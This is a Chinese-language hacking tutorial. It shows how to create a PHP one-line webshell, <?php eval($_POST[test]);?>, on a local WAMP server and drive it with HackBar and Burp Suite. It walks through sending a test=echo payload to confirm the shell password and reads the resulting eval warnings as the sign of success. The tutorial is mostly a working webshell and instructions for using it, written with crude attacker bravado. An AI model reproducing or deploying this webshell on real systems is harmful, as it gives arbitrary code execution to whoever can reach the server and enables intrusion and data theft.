必备武器

hackbro插件


wamp环境


php一句话木马一枚


BurpSuite


实战操作

1。  在www目录下新建一个php文件,并放入一句话木马 <?php eval($_POST[test]);?>


 


2 。  浏览器打开 localhost/div.php  点击Load URL(加载的URL)    再点击Enable Post data(启用后的数据)。


 


3。  eval()函数:定义和用法:eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。懂php的都知道 eval里卖弄可以执行任意php代码test=echo 'New0.fuck.is.OK';//所以我在这指定密码为test(因为我们一句话木马密码是test),换句话来讲,如果密码为test 那么让页面输出New0fuckisOK。

 

4。 点击Execute执行之后,请看执行后也买你输出信息

 

Warning:  Unexpected character in input:  '\' (ASCII=92) state=1 in F:\wamp\www\div.php(1) : eval()'d code on line 1


Warning:  Unexpected character in input:  ''' (ASCII=39) state=1 in F:\wamp\www\div.php(1) : eval()'d code on line 1



Warning:  Unexpected character in input:  '\' (ASCII=92) state=1 in F:\wamp\www\div.php(1) : eval()'d code on line 1



Warning:  Unexpected character in input:  ''' (ASCII=39) state=1 in F:\wamp\www\div.php(1) : eval()'d code on line 1


New0fuckisOK 

5。   再来看这个构造语句


test=echo 'New0.fuck.is.OK';    //如果一句话密码test为true,那么echo 输出单引号字符串里的value,"''"这个单引号不能输出中文 不能执行php代码(局限性,例:.连接符可以执行),这个输出有何意义?为了就是区分我们是否自定义的密码为true,区分而已。


6。   如果密码不对那么看看效果


 


False:为false,并没有我们echo的区分字符,那么你定义的密码并不是div.php文件里的一句话没木马密码。


True:为true,页面报错有,有我们echo的区分字符,那么恭喜你,爆菊成功!